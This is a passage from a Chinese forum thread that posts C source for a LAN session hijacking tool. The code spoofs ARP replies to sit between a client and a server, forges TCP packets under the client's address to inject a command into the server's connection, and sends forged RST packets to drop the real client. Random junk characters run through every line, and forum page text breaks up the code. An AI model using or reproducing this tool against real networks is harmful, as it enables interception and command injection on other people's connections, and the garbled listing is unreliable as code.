1 r, M2 ^5 p  S+ M$ n: Q* t& D: p" p: b3 S. c/ o* c; m+ U
  pTmp = g_pConnHead; , o0 e) r5 N7 k. Y0 o/ O5 f6 a
  while(pTmp)
, d! A. o3 G( ]% i, I  {
% ~* E9 z# Z/ S    if(pTmp-&gt;bActive) 6 f9 v1 f- l: c/ ^* F5 S$ _0 I0 J
    {
: X1 A/ `, V, Y6 C# e      //found it 3 x7 q9 R5 k& `. F& e1 z! D
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;   i3 ?& C, ^6 a/ Z
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; % d/ C8 E) p# Z5 ^, E9 t3 V) p
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
: a6 }  P+ w! T        (pTmp-&gt;uClientPort == uClientPort) ) $ ?; n  ]1 m, `+ T
      { " B. w; ^* M% |( J1 D
        if(bDelete) 2 ~3 J) X0 m* V' @$ ]
        {
) N5 H/ P- d- n" E. @          pTmp-&gt;bActive = FALSE;
* W& b8 i% p' j# [5 u          return 0; , k: k7 t: g) D/ x+ i2 B  r# ]
        }
; y; o1 R0 z" k9 r9 X        else return pTmp-&gt;ident; # R! @/ h+ X- \/ e+ y
      } 6 _2 u2 i7 L# _* \, j4 O9 [
    } ( [5 X+ ~0 j" r+ s+ y0 v- A, g4 ^
    pTmp = pTmp-&gt;Next; : L7 P* w. A( b/ v- r: e
  }
. A' D; ~' Y5 Y2 ]  //not found, create new node * m6 q0 Z* K6 F% P- w2 ^7 f
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
" u: o1 O% I$ b: }  {
9 @' O) p" Z4 c& C8 |    //search unactive note
. {! e9 G0 S# J  S; O) e    pTmp = g_pConnHead;
0 P% E7 G2 D5 B: Q% ]2 N1 Q    while(pTmp)
2 z  S3 N: _2 i. ^9 Z* F. E- c    {
$ o8 D! O" v. Z' f      if(!pTmp-&gt;bActive) break; " f2 D8 E% ?4 u
      pTmp = pTmp-&gt;Next; / B' i  k, D% t% h- w0 r1 {& e9 s
    } % N2 S: @8 u) e/ T, K( O7 \3 Z
    //found a unactive node 7 M( K/ b0 i! g# M- A! |
    if(pTmp) 4 V/ N5 a# F# f5 x. B6 b2 j
    {
! o0 f7 X* ~6 v! I3 s8 b1 V      pTmp-&gt;dwServerIP = dwServerIP;
, x5 ^: u6 l" q# O1 J. p      pTmp-&gt;uServerPort = uServerPort;
# s' i  @: t! f+ _2 z8 h% U% F) h; \) M      pTmp-&gt;dwClientIP = dwClientIP; ; X# S3 W7 N6 G+ Y6 I; m
      pTmp-&gt;uClientPort = uClientPort;
( k: P3 p# y& z+ a4 A5 f& V% Z2 H      pTmp-&gt;bActive = TRUE; " ^8 ]6 V) j# A$ q! q/ K+ _
      return pTmp-&gt;ident; , J" L# f3 J7 V% q6 {2 A- Z( G
    } " F6 ]% n! r! \/ n; K0 s6 V! W
    //not found,create new node ( Y* P* I1 x6 P8 z5 q; L6 l! J
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
  @- q$ _' @2 O# n' p% g7 v/ V# Q  W    if(!pNew) . Z2 K/ h. b& y$ w7 i) T
    { ! C. U2 t, c9 T
      printf("malloc for link node error:%d\n", GetLastError());
4 a& K: E1 M0 I5 V) f- r      return 0;
: \5 T3 \1 j* ?+ T' z1 ^    } 2 t* Z2 X( M2 [! z. n  D* [
    //fill the struct - j8 V+ m1 S* k/ \6 K3 b/ }1 s
    pNew-&gt;bActive = TRUE; + `+ G1 V: h. {& ?: `1 g
    pNew-&gt;dwServerIP = dwServerIP;
" v9 z4 j! `" L- [# Q# q    pNew-&gt;uServerPort = uServerPort;
0 O7 r9 t3 Y+ E4 u  F    pNew-&gt;dwClientIP = dwClientIP; 8 Y" [1 M! f# u  @2 }3 ~% Z
    pNew-&gt;uClientPort = uClientPort; 4 T7 n/ W# v4 R* v/ X7 j& h
    pNew-&gt;ident = ++g_ident;   Y5 ^9 g7 _1 N& e
    pNew-&gt;Next = NULL;
3 B) E- F% `" M  M# l& J    //add new node to link * i( U6 U# f; U# J" V$ b2 D
    if(!g_pConnHead)
# j/ z. J0 m1 S& z% h6 ]$ ]" G      g_pConnHead = g_pConnLast = pNew; ; X" A- m; s( r- j7 u
    else
  }# g4 A+ s, b' E$ x4 R! z( Q, P7 l    {
( F' e$ E' Q) r6 J( ?      g_pConnLast-&gt;Next = pNew; 7 [9 Y+ ~: T7 t4 D) W+ ^
      g_pConnLast = pNew;
7 L. ~5 `" h0 K& l* Y* z* v    } $ m+ x( @% a3 y4 k3 Q. h
    return pNew-&gt;ident;
, u1 j9 V4 B5 J9 o; u3 F  } 5 |* S$ U5 l( h9 V( D4 p
  return 0; ; f+ z/ _9 o4 B+ b* _2 U
}
! f$ o: b% w( ~1 F( I* ]8 Q- `8 V) Z
//
6 F5 g3 ]2 @3 j0 |1 E3 c//功能:判断一个数据包是不是只有ACK标志 6 G$ S" t5 ~6 |) i/ `
//
3 y7 S, M) R9 T% G: h' s# WBOOL IsACKPacket(unsigned char flag) 8 D! U/ t' N. A" D; F( x$ q) E
{ ; h8 E& @9 _1 P2 O. b+ f0 {
  int  i, j=1; 6 M+ ^8 _* S; y+ w) k- w6 W
  for(i=0 ; i&lt;4; i++)
: W& D$ b9 l& o0 l2 p  { ( ?' w9 O' H8 M- d! r
    if(flag &amp; j) return FALSE; 8 q! L  v  l8 d! J2 z
    j &lt;&lt;= 1; 3 L" v7 d* p3 Z' c0 {
  } . d- s2 W" f4 F1 g9 E
  if(!(flag &amp; 0x10)) return FALSE;//is ack? % \0 m" M& Q% t6 u/ Q0 p
  if(flag &amp; 0x20) return FALSE;
" f3 L  W, ]; s( V5 a  return TRUE; & I9 J4 ~' w0 _# X' B6 q$ M
} 1 v8 [" {. r8 k" X3 O8 X

( I: V: t& \( H% H// ' C! |: {+ A  E: t( a' j; |
//功能:伪装成Client给Server发送数据包 4 z( C1 W) Z5 |% X
// 5 H" @# F. K3 M
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) + O& K! x3 H6 X  b
{
. o+ ?" C6 D7 R0 C6 G3 R% a9 }, L# H
  char    szBuff[1520];
. t+ N6 Z0 v! e! B3 P  PSDHDR    psdhdr; $ t+ G- b0 F/ O' e3 K
  PTCPPACKET  pHiJackPacket = NULL;
. Q( |/ \% b. y  BOOL    bRet = FALSE; ; `' q% Z% x7 a! I
: ]/ o$ g- G' q7 ]1 U6 N. Y/ M
  __try
+ v( O; I5 ~( w5 v) D$ p) l. r  {
$ Y, Q6 @- W5 g+ h, R4 w8 u. n    //
, t) j+ ~3 N4 d) z6 v4 F    if(!g_pCurrCtrlConn) __leave;
7 m! p7 `" \" h5 m    //allocate memory for hijack packet ( r# B6 h6 u1 Y8 b) z* ~) ]( T  q
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
5 u4 `4 v5 M/ d    if(!pHiJackPacket)
% W+ p* {4 F8 r% y0 i    {
3 V% }- R; y1 e( D1 n" _      printf("malloc error:%d\n", GetLastError()); ' i2 j! Z& p5 g8 b. X7 r
      __leave; / B5 S9 \1 C7 Q/ w5 g' P0 }
    }
) ^2 V" M( C& _0 G% L( ~+ x    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
- x5 I6 k: Q! l/ ]5 s, k    //-------------- modify the packet ---------------//
7 u1 L& s) C/ Q  H6 K! {    //modify ethernet head ) d, H4 L2 m: i
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
5 F. S. C' i1 a3 s) Q    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); / u+ i6 H4 f6 E+ T  f! ?
    //modify ip head
3 v* [8 z+ ~/ M% y    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
: h" D: u! q& b2 n/ E8 Y) m    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
) N: y- J: Q( d* j. x    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1   o0 G& I4 Q& x
    pHiJackPacket-&gt;iphdr.checksum = 0;
$ z0 ?3 h+ C0 o0 u    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client 5 e2 ~) I* M9 I4 D8 |
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 5 {: j5 q. j' C' }2 n6 N5 N9 v
    //modify tcp head & V2 s8 ^  K' v1 @/ p
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port ! `* ]( g4 o  ]" [
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
. Z% z# g/ r2 ~( d2 z; D8 T. G- e    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); ' z5 z! U3 V2 h2 N
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
7 g& A  `8 D; k+ h. X9 B, e, V& @    pHiJackPacket-&gt;tcphdr.th_sum = 0;
+ `( {# H5 w2 C: E/ W    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
9 r1 j* |. a9 ~) h5 V    //fill tcp psd head
2 E  W( x2 j# r    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           3 E' Y- h8 n+ b5 K- h$ J0 |( C
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
! U  V7 V# v# G  S. \    psdhdr.mbz = 0; 3 S  ?, s& W2 g  z9 t/ a4 `
    psdhdr.ptcl = IPPROTO_TCP; $ C: h# ^0 e# k
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
+ v% g+ C/ f/ d  r4 a6 a  l    //calculate tcp checksum     . r( r0 F$ G6 Z' l5 q7 m
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
. f2 y& `  S+ V$ S    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
' Q; d$ p. |2 f# ]# ^    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); * Z+ N, S. x1 z" c. A% n& B6 t
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); # Y3 t8 k0 ]2 A0 Q0 r/ V
    //calculate IP checksum
3 |# s, f( `6 U2 Q, Y    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
  m6 J6 E9 w/ b- q    //fill send buffer           
# P+ U, T# d. J    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
3 k+ H% h5 P' m( h! h    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
. v- J  i! b8 u/ e    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
' v* m8 \  a' Z; t" ?    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); - q* [5 r: l2 |- y: E6 z0 i
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); $ h! p9 `* O" e, z  r5 l
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
( ]2 n2 q8 }6 w    {
: |" x! ^  }( g9 o, B& Y* Q) E' q      printf("Error sending the hijack packets!\n");
! b' d! {% @( n  Y+ t7 c* {, _5 m      __leave;
& n1 o& k( L- ]% [2 D3 \& \* @    }
& Y; k7 E. ~) g    else printf("Send hijack packet ok!\n"); * J3 y: I6 ^; `# @. T
    bRet = TRUE;
+ r( R) i! E# |6 W  o  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
- k; l" V& b1 ?) x6 P) h" @  {
7 W5 L+ \6 E( m- a) ^    if(pHiJackPacket) free(pHiJackPacket);
: R. `* K8 @' k4 X# j  }
# {8 R. B* V8 E8 _, G  return bRet; ) z9 U! `0 [1 |
} 0 K" A; e) G) s

: Q6 C3 `% M3 w1 u0 }$ ]/ Z3 l/ B
2 Y" \4 H2 O; j$ u: A& q//
8 M6 k" C. v) I, U//功能:伪装成Server给Client发送rst包 ' J/ z1 b" \2 `: o" l7 x
// 1 S+ y# z! Q1 A9 x% v
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
7 L. o* C& C- Q1 l9 w- ?7 V{
% ^. a. k' }9 R0 U, }: i5 |  char    szBuff[60]; 6 q  e7 G2 b& h0 s7 e
  PSDHDR    psdhdr;
# ?3 v* B5 G4 C! q; M2 o; ~  PTCPPACKET  pTcpPacket = NULL; 0 b' _0 Y7 G1 v* ?( V
  BOOL    bRet = FALSE;
/ B, a! f! t, K$ ]+ U6 [$ s! p9 U: d% h
  __try
  T" Q; F/ R7 b3 T  {
, |% \; h) y( r( K5 |! X    //检查当前指向想控制的连接的信息的指针是否为空 3 O: |3 n* m/ S' v9 Q
    if(!g_pCurrCtrlConn) __leave;
- E1 N1 _; Z0 s3 y2 t# U9 j2 d    //allocate memory for rst packet - H( y1 P: k' \( \  U
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
6 r4 S. c( ^' x1 N3 }6 \    if(!pTcpPacket)
7 x1 N' u0 _0 i2 ?8 @( S. w. H    {
/ N7 ]; q2 H1 B4 W      printf("malloc error:%d\n", GetLastError());
1 }. |9 R8 W5 ?, t      __leave;
/ _/ D% ?4 S& b9 D! `. ], W; m5 ~    } ( V: j" \" w( E4 I. I8 h
    //fill ethernet head
+ ?$ [( e2 Q/ G  ^0 \4 |/ T$ G& p$ s    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
8 R* ?1 a. [7 M; D3 U. d. Q    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
* J- T( E* d- L, C% L( e4 G( _    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
2 u. w. Y) r! @/ x    //fil ip head
) d. P1 K. ?5 ~5 s) u6 q( i    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
0 C* M  ^; P) a' N+ ?5 v4 \4 b    pTcpPacket-&gt;iphdr.tos = 0;
6 }. ?. T) i- V    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); 4 ~4 r/ Y1 ~: B
    pTcpPacket-&gt;iphdr.ident = 1;
& @( u2 ^" N: n0 I* d2 P5 A6 {( x    pTcpPacket-&gt;iphdr.frag_and_flags = 0; 2 j* Y$ f$ C  [: t( _
    pTcpPacket-&gt;iphdr.ttl = 128;
/ M* e9 M' j8 F) S7 d" I    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; 1 o4 I" y) g6 R6 {  q& w1 d1 q$ x
    pTcpPacket-&gt;iphdr.checksum = 0;
! I8 T$ M" i9 e2 D# Y1 G: o    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 4 X3 d7 k( U. `5 y7 X
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
8 s% M7 p/ \0 A" j- h, l$ k, Q    //fill tcp head 9 C5 n- X5 P. N; u8 z0 m
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 : K  N# V% ?4 F! `+ i/ x
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 6 P( b) J) y( p1 x( V3 u
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
" _7 W) y# C( |2 k    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
2 u9 P. H3 F8 B9 ?: m    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
+ C( {: z8 ?7 s2 q+ a6 P& C    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag ( ]* l" P7 L! }
    pTcpPacket-&gt;tcphdr.th_win = 0;
  l: x+ s8 Q9 S" f    pTcpPacket-&gt;tcphdr.th_urp = 0;
1 f7 [$ g$ `! X% s2 ^- g4 G! x    pTcpPacket-&gt;tcphdr.th_sum = 0; & L7 K2 b/ j$ X! q! W7 a
    //fill tcp psd head ' A7 x/ ~; T6 W: @4 [: P
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           2 B2 `& D( c- f
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           4 f  u% L8 e* R. ^7 X
    psdhdr.mbz = 0; 7 A9 D4 B+ r. k) ~4 W; X" [. o- e" W5 F
    psdhdr.ptcl = IPPROTO_TCP;
3 H/ G% W6 ~0 g* _. G. |) N    psdhdr.tcpl = htons(sizeof(TCPHDR));
7 X$ n; U* A# }    //calculate tcp checksum     - C# k  k9 O7 a0 [9 ~
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   + }" T- j- f4 k& G
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
* U. T( W6 G" z* P' e4 z- o* t    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); / W) W1 ?6 t+ ~
    //calculate IP checksum
/ I, k6 U: G+ x4 B9 b# P: ^. q    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
! r$ v( A  W7 R) L6 i- l8 E' s    //fill send buffer # J1 L; Y" s# r* {( {8 {2 m8 x
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); 9 |% w- O' O2 u& \7 ^0 E
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
: u/ {# r6 y: U! H5 E! Y2 y    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
( G& s5 P) \( p9 o( h$ z+ B    { ' {; x3 A3 u. L
      printf("Error sending the rst packets!\n");
$ T8 J. p. u+ R      __leave;
6 x5 a4 B# ]! z( E8 p# I, p    } 1 g) d: C! r$ V4 \
    else printf("Send RST packet ok!\n");
5 r/ @$ b6 `4 L0 O    bRet = TRUE; 2 S2 ^# L( \: R: g8 I8 U
  }
, T: c+ V2 i7 Z  __finally
) w& h4 Q; R; [' W  ]" u6 ~- F# b) f- G  { % t  \0 @1 f" s( N. b
    if(pTcpPacket) free(pTcpPacket); ! f" E* I* j! |, }; M9 H
  } " U# N) B5 E/ R" c7 H
  return bRet; : D* `6 @# r. ]; k% ]
}
+ Y% k' G7 \; d4 H5 r+ J/ ^7 M# e: e) \" \
//
$ m7 `! z( A. D1 f: _* n) p# S$ r//功能:计算校验和 4 a* M% M+ {9 ]/ k
// ) G# a: y/ m. v! L
USHORT checksum(USHORT *buffer, int size) . ~( k- c1 _, G' {; H! s
{ # G7 j/ U; @1 ~; `$ n
unsigned long cksum=0; , U' N! ^% |( F
while(size &gt;1) {
( ?; ~# ^- h1 E: M" ^/ F9 m" C0 W  cksum+=*buffer++;
9 ~) k* D+ j& B" f; O: o  size -=sizeof(USHORT); 4 ~. T( R, K( t9 m
}
, k5 B2 h  l- ^( c if(size ) {
4 c3 P- m, Q! K. O6 a  cksum += *(UCHAR*)buffer;
) p2 @, ?3 q9 o8 w; G2 U } ; I* ]5 e% U9 @! n$ y
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
  w; H  z' R2 A cksum += (cksum &gt;&gt;16); 3 h) ~. Z# ~# d$ Y! e  m7 S4 F. }- M
return (USHORT)(~cksum);
$ M4 f, s' L6 @2 X} ; _3 \5 @* I0 F" e3 @8 ?$ M5 v

/ K% R# U% c4 f; [$ M; N//
$ q1 c# U$ M9 T//功能:实施ARP欺骗
9 O# f9 H$ N* ~# d//1 告诉ServerSide,ClientSide的mac是ownmac ! }' J1 ^" c+ r) F1 A" ^: Y
//2 告诉ClientSide,ServerSide的mac是ownmac 8 C  K( |+ T" u- W8 K/ `4 x/ ?" x) A
//
/ |7 A0 n8 b& h! ?  d) {' DDWORD WINAPI ArpSpoofThread(LPVOID lpType)
4 B7 v% A8 F  i* a/ i{ ; O5 }+ G1 m# B6 F$ C5 F6 e! p
  int  iType = *(int *)lpType;
" p" p0 y/ t( z# }1 B" K  {  ARPPACKET  ArpPacket; 8 r3 f+ S/ N! F' j( D
  LPPACKET  lpArpPacket;
1 s9 W8 [" c3 S/ i' t  char    szArpBuff[60];
6 c* a0 a# q3 c2 z( K: ]+ G7 r( |: j2 ~
  switch(iType) ) r' q2 `& a+ [
  {
: b0 X, O5 \: R, m" ]+ t% w4 _" R    case 1: * e( G( Z# F) T7 Y' I5 a: {
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); . _  f4 z) E% A' |; p4 Q8 r
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
# R: A8 U2 B3 q- Y" s2 k4 \      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
* @8 y6 j' E2 ~" \4 K: n7 j+ x      break; 2 @" e7 b7 S+ |) s" Y  i( d: K1 M8 s8 N
    case 2:
. E8 `2 Z# l( @" r      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); , f+ L5 e, i! W; E+ e
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
% U' y9 L. \2 U3 i      ArpPacket.arphdr.SourceIP = g_ServerSideIP; % l6 v2 X$ |* U% I- Z
      break; - K1 l) [# t+ Q
    default:
0 [- u& h. S$ P5 B      return 0;
7 |- Q0 z' v9 T! C/ W  }
  E3 e/ R, |6 w/ e6 T( d  //ethernet head
8 i/ d" `# Q6 N  a* I+ \) H' D  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
  o) D# F0 M% d4 W# ]  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type ' D: Z0 O$ @& V( `  P# W
  //arp head
0 F4 Y1 ?+ m/ i" X+ x5 ]7 Q2 A  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
% T4 g% E7 C! P  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
2 e5 p. D( t: j1 |! P3 p  ArpPacket.arphdr.HrdAddrlen = 6;
- `# y2 ]' N% X, ^* s( ?1 t  ArpPacket.arphdr.ProAddrLen = 4;
* c& d$ e4 G3 G1 q" }  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); ' M5 A" h) ]# n7 l* V/ @
  ArpPacket.arphdr.ProType = htons(EPT_IP);
* E; j9 n. Z- |2 {  ArpPacket.arphdr.op = htons(2);//arp reply
6 _) m; p5 M8 Y0 I. M# J  U# `: U+ E  \3 Y( c7 L+ C
  lpArpPacket = PacketAllocatePacket();   o3 ^! r  k- M- {" y
  if(lpArpPacket == NULL)   I+ W: c) W2 s
  { * F! X) |- b8 g( n! {: n
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); . t9 J9 A- ^9 N
    return 0;
5 K/ a4 B+ r0 P" L. ?  } , S5 [% C1 b% ?  k3 t9 e% d( T
  memset(szArpBuff, 0, sizeof(szArpBuff));
: |# o6 K7 c3 D/ v9 \: k  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); : s' R3 F6 e" y2 B
  PacketInitPacket(lpArpPacket, szArpBuff, 60); # f* y) k2 k( a- X( h6 }
  //send arp packet
/ J, M" l5 @/ c$ R  while(1) - R( B; ~% y6 t# P
  {
8 \- v% F& \4 Y3 E    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) & B+ L; F, Y& ^* w
    {
& T; k- w/ y6 L" `! _# l7 P6 M2 N% F      printf("Error sending the arp spoof packets!\n"); + g( z" w% F% ~
      return 0; ( n2 e+ D! y/ H, j% c5 ]
    }
5 [! q9 i5 A* W    Sleep(1000);
( k. `; u3 `; F4 r5 {8 r1 i  }
# t- s1 \$ a" q  return 0; , l9 Z8 _( {; t7 [( _5 B
} 2 w1 G8 |, E0 c' W

! X4 W. n2 ?) j: T. A5 ~// 7 t" g8 l2 ]8 Y5 b
//功能:输入IP取得对应的MAC地址
/ o+ q- n! G! v+ `//
& Z2 f$ `; s4 A' Q* o3 dBOOL GetMACAddr(DWORD DestIP, char *pMAC)
) b3 g! f& |5 z# z0 Y{
, ^+ t( f0 z4 M1 A6 H  DWORD  dwRet; 1 R$ t. ^$ m; k0 L/ D! w$ y
  ULONG  ulLen = 6, pulMac[2]; 8 ]6 d1 |% |  `1 R9 l9 M, C9 G9 E
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
/ w1 W+ ^" o* b# S5 M9 ?7 \  if(dwRet == NO_ERROR) , }8 j; u" U& R5 `
  { ! c5 @1 G$ w3 B
    memcpy(pMAC, pulMac, 6);
0 w1 }5 g% E! m8 W" _0 p9 M    return TRUE;
; H6 A# T% v8 Y0 d. o  } 2 \+ [& \. b7 D4 i+ U7 u
  else return FALSE;
+ d: d) i( i" P3 V}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-8-24 17:41 , Processed in 0.585952 second(s), 91 queries .

    回顶部